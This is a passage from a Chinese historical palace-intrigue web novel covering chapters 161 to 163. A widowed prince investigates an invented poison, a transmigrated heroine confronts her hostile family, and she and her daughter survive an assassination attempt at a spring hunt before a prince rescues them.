北宸向来以孝道为先,若不是顾时一夜白头且圣上早已知晓顾时对老王妃向来恭顺且,只怕光是老王妃突然暴毙在荣辉堂且荣辉堂巧合失火这一茬就足以让整个荣郡王府吃不了兜着走... 苏柳溪从踏入荣郡王府的那一刻,已经把荣郡王府的一切当做自己的囊中之物,她绝对不允许她努力那么久,到头来一场空。 她是诚心想要保下荣郡王府。 偏偏顾时的重点还在沈慕兮跟顾筱筱身上。 “所以,这就是你要害死她们母女的理由?” “我没...” 苏柳溪几乎脱口而出就要反驳。 在顾时森冷的目光之下,她硬是将否认的话咽了回去。 直到沈慕兮母女死了的那天,她还是冲动了。 太早暴露了自己的真面目,现在不管她说什么,顾时都只会觉得她在狡辩... 若不是因为她背后有苏府,她毫不怀疑,顾时早在前几天就弄死她了。 只要想起顾时那天一夜白头,苏柳溪就无比庆幸,幸好自己动手及时。 沈慕兮母女,总算做不了绊脚石了。 她变幻的眼神没有逃过顾时的如同鹰隼盯着猎物一般的锐利目光。 可是顾时没有说话,只是难得心平气和地任由她拦下去路,自由发挥。 “不管你有多么深情,明日母妃发丧,在外人面前,我们都要做好恩爱夫妻的表象,否则你就是欺君。” 不得不说,苏柳溪长了一张好嘴。 一个“欺君”,足以让顾时妥协。 他现在还不能死。 他还要留着一条命,让慕慕跟溪溪回来报仇。 紧绷的神经一下子放松。 他转身背对苏柳溪,恢复了刚才坐在椅子上的死气沉沉。 对于苏柳溪后面说的废话置若罔闻。 不管苏柳溪说得多么慷慨激昂,依旧像是拳头打在棉花上。 “既然王爷能够安静下来,向来也是能听进去妾身的话,那么,妾身这会总算是功成身退,王爷也好好休息吧。” 她咬牙温婉地说完客套话,才停止了腰背离开。 等苏柳溪离开后,王英才回来,走到顾时身后小声开口,“王爷,老王妃死的当天,悦悦小姐本来也已经中了毒,却奇迹般地痊愈了,属下怀疑,其中定然有关联...” 顾时的手紧紧握住长椅扶手,依旧保持沉默。 翌日。 荣郡王府宾客盈门,都是前来为老王妃吊唁的大小官员。 包括裴望。 在看到顾时满头银发的那一刻,裴望着实也是被吓了一大跳。 给康氏上了香以后,不等顾时开口,他就主动开口。 语气格外严肃,“王爷,可以借一步说话吗?” 顾时点头。 假山后。 裴望将一份密函交到顾时手上。 “我收到你的消息,就一路派人细查,发现,苏康真的没死。” “可是那日在木兰山...” “不知王爷可还记得,下官之前跟你说过的事情。” 顾时不解地看向裴望,似是在回忆。 裴望提醒,“真的苏康已死,这个苏康,是假的。” 顾时整个人像是一潭死水,连说话也没有半点语气波动,“所以,你是怀疑...” “他能用苏康的脸皮欺世盗名,自然也能用其他人的身份活着,总之,下官绝对有理由相信,这个假冒苏康的人,身份绝对不简单,因为背后的人,真的是不惜一切代价也要保着他。” 顾时垂眸,语气波澜不惊,“你现在打算怎么办?” “最好的办法,还是从苏府入手,”提起苏府,裴望十分头疼,“只可惜不久前我的人暴露了,现在苏府围得像铁桶一样,想要再进去,估计...难。” “细查苏府的事情,我可以着手。” 顾时冷静开口,“但是,但是有一件事情,我想让你帮我去查探一番。” 裴望眼眸微亮,“王爷有事不妨直言。” 顾时点头,“我听说,有一种来自回疆那边的奇毒,中毒者必须两人同时中毒才会毒发,毒发似尸毒又像是蛊毒,可用一人生机续命另一人,因而这种奇毒又名‘彼岸花’。” 裴望震惊地看向顾时,“莫非老王妃的死...” 顾时没有看顾时,只垂眸小声道,“裴大人可以查吗?” 他的声音有气无力,像是许久没有好好休息过一样。 也对。 谁能在两天内死了妻子女儿又死了娘还能安稳入睡? 裴望说不清自己到底是同情顾时还是心怀内疚,难得对顾时多掏了几分真心。 “以前倒是有过这方面的卷宗,若是王爷不嫌弃,倒也可以与下官去大理寺走一趟。” “如此,便有劳大人了。” 葬礼很顺利。 除却苏柳溪一直被顾时的眼神看得发毛,基本上没有其他事情。 老王妃下葬翌日。 顾时去了裴望那里,看了一天奇毒卷宗。 最后,他的目光锁定在一卷羊皮卷上,“果然有这种毒。” 很快,他的心里又充满了疑惑。 “可是...这种毒因为太过歹毒,早已成了禁药,寻常人莫说是见了,连听都没听过,它怎么可能会出现在荣郡王府?” “这就要问苏勇了。”裴望眼神幽深,“柳溪村的部分潜藏贼匪,擅用弯刀。” 弯刀乃回疆的武器。 裴望的话像是一下子打通了顾时某个没通的关窍,他的双拳紧紧攥起,眼底倏地燃烧起仇恨的火焰。 苏勇,是回疆人,所以,虞悦希是苏勇的种,并非是他的臆想。 苏柳溪将他与虞洪都骗得团团转。 只要一想到自己枕边人竟是这般手段骯脏,顾时只觉得胃里一阵翻涌。 “若是王爷心中有猜测,不妨静待一些时日,下官猜想,应该很快就有人联系王妃...咳咳,苏氏了。” 裴望在顾时吃人的目光下,硬生生地改了口。 ... 北宸。 县主府。 不知不觉,沈慕兮已经回来两天。 县主府的人,被她进行大清洗,又换了一次,如今剩下的,基本上与她马首是瞻。 不得不说,权力还真是一个好东西... 沈慕兮站在书案后,提笔正在画一些草图。 红豆回来了。 “小姐,外头来了一个丫鬟,说老夫人想要见您。” 沈慕兮连手上的动作都没有丝毫停下来。 “见我做什么?” 她不认为自己跟洪氏有什么话可说。 “不知,老夫人只让下人带了一句话,说什么‘假的真不了’。” 闻言,沈慕兮手上笔锋一顿。 假的真不了? 她搁下狼毫笔。 “也罢,看看她要耍什么花招。” ... 慕容景衍说是将沈府的人软禁,但是也只是让他们住在自己的院子里而已。 除了限制自由,其他的吃穿用度苛刻一些,倒也没怎么让沈府的人受苦。 沈慕兮看着下人们有条不紊地伺候主子,心里暗暗吐槽了一句,“慕容景衍还是太仁慈了。” 寿康堂。 看到沈慕兮,洪氏激动地支起身子。 自从沈曦为了帮太子找女儿离开邺城以后,她的身子一天不如一天,直到完全瘫痪在床,她才惊觉,自己的饮食被动了手脚。 纵观整个沈府,唯一能够对她下药的,大概也就只有眼前人了。 “是你。” 她目光控诉地瞪着沈慕兮。 沈慕兮凉凉看了她一眼,“孙女不知道祖母想说什么。” “你个贱人,居然...” “祖母,有些事情,无凭无证,可不能冤枉了孙女儿。” 沈慕兮一脸无辜地打断了她的话。 洪氏冷笑,“你不要以为,你做这种做态我就会信你,你根本不是沈曦。” 因为激动,她强行支起的身子重重砸回床上,一阵气血上涌,她布满褶皱的老脸涨得通红。 第161章 春猎风波 沈慕兮挑眉看了她一眼,嘴里还是那句,“孙女不知道祖母在说什么,若是祖母得了癔症,孙女倒是可以为祖母寻个大夫前来诊治。” 沈慕兮油盐不进的模样显然惹怒了洪氏,洪氏双眼暴突,恨不得将沈慕兮生吞活剥,“你...你...” “若是祖母没事,孙女要先告退了,春猎需要准备的事情还有很多,总不能浪费时间在无谓人无谓事身上。” 说完,她当真转身就要走。 洪氏急着挽留,几乎忘了自己早已行动不便的事情,翻身就要下床,结果狠狠从床上滚了下来。 在一旁伺候的丫鬟得了沈慕兮的首肯,手忙脚乱地配合着将洪氏抬回床上。 “你...你现在满意了?” 洪氏的声音从床上有气无力地传来。 沈慕兮想要再次抬起的脚步停住。 “说真的...” 她转身,朝洪氏漾开了一个大大的笑容,“很满意。” 洪氏再次被气得差点一口气没缓过来。 “你个毒妇,我沈府到底哪里亏待你了?竟要将我沈府的人往死里逼?” “没有亏待?往死里逼?” 当初是谁把谁往死里逼了? 沈慕兮极力忍住了想朝洪氏冷笑的冲动。 沈曦纵然没了,可是她的记忆里,儿时沈曦被送走是事实; 宫氏身体一日不如一日最后病故也是事实,而她也悄悄去看过宫氏的骸骨,宫氏的骸骨发黑沉积在肋骨周围,说明宫氏是中毒而亡; 这其中绝对与沈府脱不了干系。 而宫氏死后,沈府有意谋夺沈曦的婚事是事实; 最后,连沈曦死在沈府,都是事实。 那会沈曦不过才从外头回来三年,原本开朗阳光的小姑娘因为一系列的变故打压变得敏感自卑,最后连命都没了。 自己亲娘留给她的嫁妆都差点被私吞。 桩桩件件单拎出来,都与沈府的所有人都脱不了干系。 她凭什么不能向沈府的人讨回公道? 身后洪氏还在满脸不甘愤恨地大骂她恶毒。 沈慕兮最终还是压不下嘴角的冷笑,撕下了脸上的伪装,“要怪,就怪你们太过贪心,得了我娘亲的好,还想将娘亲的所有东西一并吞并,如今,我不过只是将你们打回一无所有的原形,何错之有?” 说完,她不再理会洪氏在身后叫得撕心裂肺,转身仰首大步离开。 她不会告诉沈府的任何一个人,其实他们曾经差点就成功了。 若不是她及时进了沈曦的身体,只怕世人早就忘了现在的沈府就是如今的县主府... 只要她还在,她就是沈曦,凡是属于沈曦母女的一切,她都不会再让沈府的人染指,她还要带着筱筱,去替她们踏遍天下的大好河山。 ... 东南西北中整个中原五国,都有秋狩。 但是有春猎的,也就只有南渊。 无他,南渊气候温暖,没有明显的春秋之分罢了。 如今不过才是仲春时节。 不管是南渊的平头百姓还是高门贵人,已经纷纷换上了轻薄的夏裳。 春猎在三月二十举行。 地点在距离邺城八十里的衢春山。 因其风景秀美且物资丰饶,冬暖夏凉,所以衢春山半山腰还修建了一处简易行宫,专门给帝王春夏两季临幸(这里的临幸指皇帝亲自到达某处而非宠幸)。 因顾筱筱当初被带走的消息泄露,安和帝看出了慕容景衍对顾筱筱的重视,所以这次还特地嘱咐慕容景衍带上顾筱筱。 圣旨下来的那一刻,沈慕兮的心都要揪起来了。 “皇上这是什么意思?” 按照慕容景衍跟南渊帝慕容明坤的关系,沈慕兮可不相信慕容明坤仅仅只是想要享天伦之乐。 慕容景衍的脸色也不大好看,“我会护筱筱周全。” “不行,我要寸步不离跟在筱筱身边。”沈慕兮坚持。 回来以后,不能让顾筱筱跟她一同回去沈府,沈慕兮已经十分不安。 要是慕容明坤真的想要对筱筱做些什么,他们在明处,防不胜防。 慕容景衍显然也看出了她的担忧,“我会护你们周全。” “好。” 眼下时间紧迫,她也没有与天子抗衡的能力。 若是有慕容景衍的帮助,倒也不失为一个好的选择。 沈慕兮一路权衡利弊,直到回到沈府。 她才骇然反应过来,慕容景衍,今天好像没有在她面前自称“本宫”。 ... 春猎之日很快就到了。 常年久居宫中的慕容明坤,一年到头也就只有春猎、秋狩以及避暑这三个机会离宫,自然格外重视。 这一行,除了皇后,他还带有嫔妃十二人,护送仪仗盛大,笙旗猎猎,百姓夹道恭送,看上去一片祥和安泰。 为了方便人员集中以及减少不必要的额外支出,慕容明坤直接回去行宫居住,其他大臣则在行宫外扎营驻寨。 慕容景衍身份特殊,本该在行宫分得一处住所。 却被慕容明坤直接安排到行宫外与其他外臣一样在外驻营。 因着沈慕兮之前为慕容景衍寻回爱女有功且两人婚期将近,这一行,慕容明坤也默认了沈慕兮与慕容景衍同住。 新搭建好的营帐内,分了两个雅间。 沈慕兮与顾筱筱住里间,慕容景衍住外间。 看着下人们有条不紊地行动,沈慕兮总觉得哪里不对劲,“这种安排...” 慕容景衍不紧不慢地半蹲身子,为顾筱筱系好披风的绳子。 “兵来将挡水来土掩便是。” 他的语气温和,甚至连眉头都没有皱一下。 沈慕兮没再说话。 目光随意看向一旁,她瞳孔微缩神定住了。 “他们怎么也来了?” 慕容景衍循声望去,不远处的营帐,走出来了一个熟悉的面孔。 “沈府的人?” 他的声音带着惊讶。 显然,他也十分意外沈府的人突然出现。 “难道是...” 沈慕兮伸手比了比行宫的方向。 “他?” 慕容景衍拧眉,“不无可能。” 沈府的人能在他的眼皮子底下参与春猎且事先没有半点消息泄露,是慕容景衍无论如何都没有想到的。 “不管发生什么事情,都不要让筱筱离开你的视线,其他一切,交给我即可。” “好。” 两人默契对视。 所幸,一夜没有其他事情发生。 翌日一早。 慕容景衍被传召进行宫。 沈慕兮带着顾筱筱在帐中用膳。 沈柔笑容温婉地提着一个食盒出现在帐前。 “劳烦这位大哥,我想给我姐姐送早点。” 红豆听到动静出来,就看到守营士兵在沈柔自报家门的时候面露难色,当场冷了脸。 “我家小姐已经用过早膳了,二小姐请回吧。” 若不是周围来来往往都有其他府邸的下人,红豆恨不得直接将人绑了丢回去沈府那边的营帐。 这个二小姐,她一看就觉得她不像好人。 从没想过红豆的态度这么冷硬。 沈柔挂在脸上的笑容一僵,一双水盈盈的眸子说红就红了。 “姐姐她是不是还不想见我?我知道,当初我跟娘亲确实做出了许多错事,可是我都已经认错了,而且姐姐也没有任何损失?为何姐姐却不愿意放过我们?” 说到激动之处,她还拔高了音量,语气里透着浓浓的委屈。 她这一闹,引来了附近营帐的下人的好奇。 不少人提着水桶在附近东张西望。 红豆咬牙,“二小姐请莫要胡言乱语,小姐自始至终,都没有提及过半句关于沈府不好的事情,更不用说因为发生了什么事情而产生隔阂。 若是二小姐还要这般执迷不悟,那就请恕奴婢得罪了。” 说完,她往前一步就要将沈柔“请”走。 沈柔仿佛早已预料到红豆的打算,提着食盒连连往后退,声音又高了几分。 “不,姐姐不原谅我,我...我今日就跪在这里不走了。” “你...”红豆显然没想到沈柔还有这一招。 就在她为难之际,沈慕兮掀开帐帘。 “我倒是好奇,你做了什么让我对你无法原谅的事情?” 说话间,沈慕兮给红豆使了一个眼色,红豆无声退回帐中。 帐中有红豆、贺月跟绿萝陪在顾筱筱身边,让沈慕兮极为安心。 沈柔在看到沈慕兮模样愈发妍丽的那一刻,眼底的嫉妒疯狂滋长。 她目光微沉,硬是将眼底嫉妒掩盖回去。 脸上还是那副我见犹怜的模样,“姐姐,当初是我不对,我不应该...” “既然你能提到‘当初’,说明事情已经过去,你又何必沉不住气?” 这是沈慕兮回来南渊以后第一次看到沈柔。 眼前女子一身柳绿色裙装,比起以前,瘦削了许多,向来带有一点圆润贵气的脸颊,此时竟被磨出了棱角,看上去平添几分老气与刻薄。 一看就没有憋好屁。 沈慕兮也懒得跟她废话。 “要是没有其他事,我就先回去了,你也莫要逗留。” 说完,她毫不留情地转身... “姐姐...” 沈柔连忙挽留。 “不是我想找你,是...是,爹...” “我与沈钏海也没有好说的。” 转身动作仅仅只是停顿了一下,又无比丝滑地走完过场。 眼看沈慕兮已经迈开步子回到帐中。 沈柔孤注一掷,声音拔高了几个调,“我知道你为何会突然对沈府有这么大的敌意。 你是偷偷挖开过你娘亲的坟,所以才对沈府有了误会。” 沈慕兮再次停下步子,转身,“你到底想说什么?” “我的意思是,你...” “不管你是什么意思,”沈慕兮不耐烦地打断了沈柔的话,“我母亲死在你们手上,早已是事实,你若是识趣,就应该少来招惹我,否则,我定会让你们连县主府都住不下去。” 她本就心存怀疑。 县主府的大部分奴才分明已经被她清洗过一次,又怎么可能会出现县主府? 唯一能够说得过去的理由,大概就只有,她的安排被人预判,她在县主府的人被控制或者买通了。 但是,当初的县主府,是慕容景衍亲自正名。 按照慕容景衍如今在邺城中扭转的声望,除了行宫中的那位,沈慕兮已经想不到还能有谁。 越是平静的湖面,底下越是波涛暗涌。 越是这种时候,越不能节外生枝。 沈慕兮努力克制给沈柔扬去一把毒粉的冲动。 “若是没有其他事,以后你们别出现在我面前,否则...” 她缓步走到沈柔身侧,脚步轻轻停顿,“我定要让你知道,什么叫生不如死、悔不当初。” 她的语气森寒,沈柔后脊没由来地泛起了阵阵颤栗。 她丝毫不会怀疑沈慕兮刚才要挟的话只是说说而已。 “姐姐...” 她声音轻颤。 “我与你无亲无故,这一声姐姐,不叫也罢。”沈慕兮冷淡拒接了她的称呼。 沈柔看着沈慕兮离开的背影,狠狠地咬牙。 很快,她像是想到什么快意的事情,眼底迅速闪过一抹得色。 ... 沈慕兮迅速回到营中。 她不过只是与沈柔走开了不到两刻钟的时间。 营中早已空无一人。 她心头一紧。 “人呢?” 绿萝最先回来。 看到沈慕兮,连忙一脸急色迎上去,“小姐,小郡主不见了。” “你们不是你在帐中守着吗?为何帐里帐外都没人了?”沈慕兮的语速极快,眼睛却没有闲着,四处张望,想要在周围寻到半点蛛丝马迹。 “小姐离开后,沈府的人又来了,胡搅蛮缠非要说我们把沈柔小姐关起来了,红豆实在不堪其扰,跟着沈府的人离开,哪成想...” 绿萝气得眼眶都红了,“哪成想,才没过多久,巡营那边又来了人,说要寻殿下,殿下已经去了行宫,而贺统领人又不在,事情紧急,所以贺月也离开了营帐给贺统领递信...” “之后,帐外不远处又有骚乱,守帐亲兵被调去协助平定骚乱。 小郡主担心小姐,一定要奴婢去寻您,奴婢拗不过她,只好离开营帐偷瞄了一眼,结果才那么几个呼吸的时间,奴婢一转身,小郡主就不见了。” 说到后面,绿萝都快哭了。 这些桩桩件件,指向性极强。 要是现在她还发现不了猫腻,那就白瞎了这些年跟在小姐身边了。 所幸,当初慕容景衍还留了一手。 “小郡主这会离开,有暗卫跟着,奴婢刚才发现了暗卫留下来的记号,若是咱们沿着暗卫给的记号,肯定可以找到小郡主的,小姐不用着急。” 失去踪迹的是她的女儿,沈慕兮能不急嘛? 第162章 他的手,该不会是因为她才受伤的吧? 况且... “暗卫的记号,你可有找到?” 随着沈慕兮的问题问出口,绿萝安抚的神色僵在脸上。 沈慕兮一副“我就知道会这样”的模样。 “所幸衢春山没有其他山体险峻且错峰顽石多,而且这些天也有被刻意清了场。 眼下我们兵分两路,你去山里,我往下沿着河流走,若是我们中途碰到其他人,再分散一下方向。” 在摸不清对方想要对筱筱做些什么时候,她们现在,也只能是暗中行动。 诚然,她已经嗅到了阴谋的味道。 可是阴谋的背后,对方到底是谋求其他还是想要害命嫁祸... 沈慕兮的眼眸缓缓眯起,逐渐闪过一丝杀意。 衢春山与其他险峻的山峰相比,地形极为特殊。 它占地面积广袤,峰峦雄伟,却一山隔开两种气候。 行宫那一边平坦舒适,另一边则丛林密布,沟壑纵横,甚至还有湍急的河流像是玉带环腰横在半山,再落下成雄伟的瀑布。 一旦在山中有水,所有的一切就变得变数极大。 沈慕兮担心的就是这个。 她一路沿着另外一边的半山位置去寻找。 所幸,顾筱筱没有再往深处跑。 即便如此,等她找到顾筱筱的时候,两人已经离开营帐很远。 四周一片寂静,安静得她即使距离筱筱有两丈远,都还能清晰地听到顾筱筱的声音在大树后传出来。 “小兔兔,你受伤了,可不能再乱跑哦。” 小姑娘的声音还带着十足的中气,沈慕兮的悬着的心总算放下来。 “筱筱。” 她走到树后,轻轻搭上了顾筱筱的肩。 看到沈慕兮,顾筱筱显然也十分欢喜,一双水汪汪的眼睛像是潋滟了整片星河。 “娘亲。” 女儿没事,沈慕兮的心放到了肚子里。 然而,孩子不听话,该批评还是得批评。 “谁让你走到这里来的?” “娘亲,小兔子。” 顾筱筱如获至宝地将小兔子递到沈慕兮身前。 小白兔软糯糯的一团,乖巧地趴在顾筱筱的手心,一眼看上去,像极了雪球小时候。 顾筱筱红着眼眶,“娘亲,筱筱想雪球了。” 她想对沈慕兮笑。 可是下拉的嘴角无论如何都扬不起来,惹来了沈慕兮一阵阵心疼。 原来,当初筱筱在荣郡王府受到的伤害,至今还未抚平。 是她这个做娘亲的失职。 沈慕兮的鼻头泛酸,安抚地摸了摸顾筱筱的小脑袋。 “没关系,筱筱想要养,那咱们就带回去养着。” 到嘴边想要批评的话,被她全数吞回。 她褪下外衫,将小兔子紧紧包裹起来,放入顾筱筱怀中。 就在沈慕兮准备带顾筱筱回去营地之际。 一道冷光闪过,一支利箭擦着她的鬓边狠狠嵌入了树干。 有刺客!! 沈慕兮几乎出于本能就丢下了外袍跟小兔子,将顾筱筱紧紧抱在怀中,往远离冷光的方向逃命。 天上不知道什么时候下起了大雨。 原本尚算平坦的山路极为湿滑。 一不小心,她踩到一块布满青苔的石块上。 惯性使然,沈慕兮整个人跟着顾筱筱一同滚下山坡。 身后的蒙面黑衣人穷追不舍。 根本不给她们滚下山坡以后有缓冲的机会。 利刃刺出,几乎招招都是奔着顾筱筱的性命而去。 突如其来的剧烈跑动再加上滚落山崖撞到肺腑,沈慕兮只觉得自己的五脏六腑都要移位,稍不注意,呼吸的时候还会岔气,每走一步,扯得心肺位置生疼。 可她根本不敢放松。 雨水劈头盖脸而来,挡住他们的视线。 “娘亲...筱筱会自己跑...” 顾筱筱乖巧地没有乱动,还不忘让沈慕兮放下她。 可惜沈慕兮耳边都是风声雨声,根本没有听到她的话。 倏地,她后背一痛,一个趔趄,整个人重重摔倒在地。 不远处,似有湍急的水流声传来。 瀑布!! 她目光一凝,迅速从腰间翻出护心丹跟闭气丸,塞进顾筱筱嘴里。“吞下去。” 话落,她没有给顾筱筱反应的机会,母女二人同滚入湍急的水流。 ... 夜幕降临。 沈慕兮枕着一块巨石醒来。 睁眼坐起来之时,头上除了剧痛传来,还有些不真切的头昏脑涨。 双腿已经被冷水泡得发麻。 好一会,她才反应过来,她跟筱筱被追杀逼到跳了河。 筱筱!! 她的筱筱!! 沈慕兮当场顾不得浑身分筋错骨的疼痛,慌张地四处张望。 不远处,一个小小的身影在水中浮沉。 她连滚带爬地到了水边,一把将顾筱筱揽起。 扑腾着回到了岸边。 纵然此时她看东西已经开始出现了视线模糊,可她却半点不敢放松。 小姑娘双目紧闭,小小拳头攥得紧紧的。 好在呼吸平稳,因为服用了闭气丸的缘故,小姑娘并没有呛水。 她不放心地给她号了脉,确定她脉搏平稳,只是熟睡过去,才彻底安心。 自从慕容明坤下旨特地让慕容景衍带上顾筱筱一同春猎,她就开始预想各种事情发生的可能性。 所以,她特地带上了各种解毒丸、护心丹跟闭气丸,就是以防万一。 也幸亏她相信自己的直觉。 否则... 思绪到这里,沈慕兮强行切断了自己杂七杂八的想法。 那些追杀她们的人,还不知道会不会找过来。 为今之计,还是要尽快离开这里。 她抬头看了一眼天空。 白天因为下过雨的缘故。 天上的星星并没有出来。 周围漆黑一片且树影重重,难以分辨方位。 才看了几眼,她就觉得头昏脑涨,仿佛下一刻就会晕倒过去。 女儿暂时没事,沈慕兮强撑着的身体似是没了支撑,瞬间颓废地倒在岸边,躺在地上,动弹不得。 上游位置还有哗哗的瀑布水流声。 声音不大,想来她们是被冲到了下游。 也不知道这水到底是在哪里来的。 明明已经是暮春,周围却像是冰窟一样。 她的身上冷得发麻。 再这样下去,她跟筱筱都得冷死在这。 她咬牙挣扎起身,又将顾筱筱紧紧抱在怀中,想要以此互相取暖。 虽然很不想承认,可是她现在确实很需要慕容景衍的帮助。 心中不断期望慕容景衍能够尽快发现她跟筱筱一同不见了... 诚然,这个可能性不大... 思忖间,不远处开始有火把的光亮在往这边聚集移动。 还有人声传来。 “若是坠落瀑布顺水漂流,她们两个定然就在附近,搜。” 刺客找来了!! 怎么会这么快? 沈慕兮心中大骇。 到底是谁,这么锲而不舍地想要取她性命? 容不得她细想。 她用尽全身力气将顾筱筱背起来。 头上伤势很重,一用力,她的头上好不容易凝住鲜血的伤口又崩开了。 才没走出几步,就被鲜血糊了满眼... 眼前一阵阵发黑,她一脚踩到凹凸不平的石块上,右脚脚踝传来了骨骼错位的声音。 沈慕兮再次与顾筱筱一同摔倒在地。 “快,看到了,她们在那!!” 身后刺客的声音比起刚才近了许多。 仿佛下一刻,刺客的刀剑就可以飞劈过来。 沈慕兮想要再逃,可无论她怎么努力,手脚都动弹不了半分。 不!! 她的眼底闪过一丝绝望。 她不能死在这里。 求生本能促使她身体迸发无穷的力气。 她再次将沉睡的顾筱筱背起来。 可脚上终究还是受了伤,还没走出两步,她就被人发现了。 “在那,快,动手。” 刺客没有给她喘息的机会。 很快,她就被十多个刺客团团围住。 刺目火光,照得她的眼睛生疼,头晕目眩,眼前光影斑驳,她看不清来人的模样。 “你们...到底是什么人?即使是死,也不让我做个糊涂鬼,不是吗?” 她费力地想要拖延时间。 可是对方明显不想跟她废话。 “这些问题,你去阎王那里找答案吧。” 不知是谁冷笑一声。 紧接着寒光一闪,打磨得锃亮锋利的弯刀毫不留情地砍向沈慕兮的颈脖。 沈慕兮只觉得眼前有一道带着寒凉湿气的黑影踉跄罩了下来。 伴随着利刃划入皮肉的声音,血腥味充斥着她整个鼻腔。 “叮——” 金属碰撞的声音发出一阵悠长的鸣音。 一支冷箭毫不留情地从暗处射出,将黑衣人的弯刀打落,直直插入距离沈慕兮身后最近的黑衣人的胸膛。 黑衣人双眼圆瞪,连挣扎都没挣扎,就咽了气。 紧接着,第二支冷箭。 第三支冷箭... 一箭一个黑衣人。 举刀的黑衣人总算反应过来了。 “不好,有埋伏,撤。” 逃走太急,他甚至连掉落在地的弯刀以及死去的几个同伴尸体都忘了捡走。 沈慕兮最后一口气终于撑不下去,软软倒地。 昏昏沉沉间,她似乎感觉自己似乎砸到了什么温暖的东西,之后双腿腾空,整个人好像被抱了起来... 期间,她还听到了筱筱的哭声... 再后来,是其他一些嘈杂的声音。 之后,沈慕兮就彻底失去了意识。 ... 天色大亮。 沈慕兮的嗓子干得就像是生吞了许多刀片一样,每做一次吞咽动作,都像是在被刀子划拉在上面。 “水...水...” 迷迷糊糊间,她无意识地呢喃。 一个小小的竹片,撑开了她干裂的唇,带着暖意的清水缓缓灌入她的嘴巴。 清水灌得小心翼翼,她小口小口吞咽。 喉间得到了滋润,沈慕兮这才感觉自己像是活过来了一样。 脑子昏昏沉沉,破碎的记忆逐渐成型,定格在自己晕过去之前的场景。 她猛地瞪大了眼睛,刚好对上慕容景衍担忧的眼神。 “筱筱!” 她脱口喊出了筱筱的名字。 目光落在慕容景衍手臂上的还未来得及包扎的伤口那一刻,她硬是改了口。 “殿...殿下?” 她的声音干哑且刺耳。 慕容景衍再次将她刚才没有喝完的半杯温水用竹片全数导进她的嘴里。 “先喝水。” 沈慕兮的目光一错不错地看着他。 眼前男子,鬓发微乱,眼睛血丝满布,连脸上都蹭了一些污迹,一身玄色衣裳,不同程度地沾了泥沙。 像极了落水之人没来得及换衣裳,让衣裳在自己身上自然风干。 所以... 她的筱筱呢!! 沈慕兮心中一急想要再次坐起来。 脑袋传来尖锐的疼痛,她忍不住闷哼一声。 本能地抬手覆上疼痛的位置。 她这才发现,她的头上缠了绷带。 慕容景衍紧张地将她按回在床上。 “你伤到了脑袋,四肢也有不同程度的拉伤,右脚还脱了臼,最好不要乱动。” 沈慕兮急切地看向他,“筱筱呢?” 慕容景衍还未来得及开口,一个清脆甜美的声音从帐外传来。 “娘亲,筱筱没事。” 顾筱筱一直在外帐。 听到沈慕兮在找自己,她像是做错事了一样,双手捏着耳朵,一步一步往沈慕兮床边挪。 “是筱筱不乖,到处乱走,才害得娘亲受伤了,娘亲快快好起来,到时候,狠狠揍筱筱一顿消消气好不好...” 这样的话,倒不像是顾筱筱自己会说的。 沈慕兮探究的目光看向慕容景衍。 慕容景衍笑着抬起没受伤的手覆上顾筱筱的发顶,“这个小妮子,看到你昏迷,急得哇哇哭,一直自责,生怕你出什么事。 无奈之下,我只好让她乖乖听话,养好身体再让你揍一顿消消气了。” 沈慕兮看着乖巧的女儿,又爱又怜,只觉得心都要化了。 碍于慕容景衍在场,才生生按捺住了自己想要将顾筱筱拥入怀中的冲动。 “没事,筱筱没事就好。” 就在这时,帐外传来了贺玄恭敬的声音,“殿下,有消息了。” 慕容景衍目光一沉,在对上沈慕兮眼神的那一刻,又迅速恢复如常。 “你先好好休息,我先去处理一些事情。” 沈慕兮看了一眼他手上的伤,语带关切,“你的伤...” 慕容景衍将手上的右手背在身后,笑道,“不碍事。” 说完,他大步离开了内帐。 沈慕兮看着他的背影,心里说不上来的怪异感觉。 他的手,该不会是因为她才受伤的吧? 慕容景衍一走,顾筱筱整个人完全放松了下来。 她小心翼翼地凑到沈慕兮跟前,一脸关切地看向她,“娘亲,你现在感觉好点了没?” 第163章 刺客是回疆人 说话的时候,她还不忘用小手笨拙地为沈慕兮拨开了鬓边碎发。 沈慕兮的心都要化开了。 “筱筱有没有受伤?” 顾筱筱摇了摇头,又点了点头,把手臂绑着绷带的位置给沈慕兮看了一眼。 “筱筱就擦破了一点皮,不痛。” “那就好。” 沈慕兮露出了一抹放心的微笑。 眼看顾筱筱眼巴巴地看着自己,她艰难地挪动了一下身子,给顾筱筱腾出了一点空间。 顾筱筱顺势趴在床边,黑白分明的大眼睛一动不动地看着沈慕兮。 “娘亲...” 沈慕兮虚弱地朝她扯出一抹笑容,“娘亲没事,不用担心。” 也许因为顾筱筱是她在这世上唯一血脉的缘故。 此时顾筱筱陪伴在她身边,她格外安心。 “筱筱累不累?要不要跟娘亲一起睡?” 说话间,她又给顾筱筱挪出了多一点位置。 顾筱筱乖乖地脱鞋上了床,轻手轻脚地窝在沈慕兮的怀里。 闻着沈慕兮身上浓重的药味,她的小脸心事重重。 沈慕兮见状,笑着问道,“怎么,刚才还叽叽喳喳,现在没话说了?” “不是...” 顾筱筱重新坐了起来,一脸认真地低头对上沈慕兮的目光。 “娘亲...” “好啦,有什么事,就直接跟娘亲说,”看着女儿鲜活地在面前做各种小动作小神态,沈慕兮朝她皱了皱鼻子,“你这小表情,都把你自己心里的想法暴露了,不说我也知道你在想什么。” 顾筱筱惊诧地捂住了自己的嘴巴,“娘亲怎么知道筱筱想让景叔叔做筱筱真正的爹爹?” 小姑娘眼神澄澈且带着震惊,沈慕兮差点被自己的口水噎到。 “什...什么?” 因为激动,她的动作幅度太大,一下子扯到了脑袋的伤口,她痛得倒抽了一口凉气。 这小丫头,到底知不知道自己在说什么话? 顾筱筱手忙脚乱地想要扶稳沈慕兮,被沈慕兮阻止了她想摸她脑袋的动作。 什么都做不了,她只好怯怯地看着她,“娘亲,是筱筱哪里没有说对吗?” 眼前一黑又一黑,沈慕兮总算缓过来了。 “这些话,是谁教你这么说的?” “没人教筱筱。” 顾筱筱坐回床边,低头把玩着挂在胸前的白玉压襟,小声开口,“是筱筱觉得,景叔叔对娘亲跟筱筱都好,比坏爹爹好。” “娘亲不知道,您晕过去之后,是景叔叔抱着你回来的。 那时候景叔叔的手还流了好多血,筱筱哭,看景叔叔,景叔叔也快被吓哭了... 筱筱觉得景叔叔是关心娘亲的。 以前娘亲受伤,坏爹爹根本就不会理娘亲,坏祖母只会骂娘亲跟筱筱没用,所以,筱筱一点都不想要坏爹爹...” 顾筱筱小嘴叭叭地还在不停控诉顾时跟康氏的“罪状”。 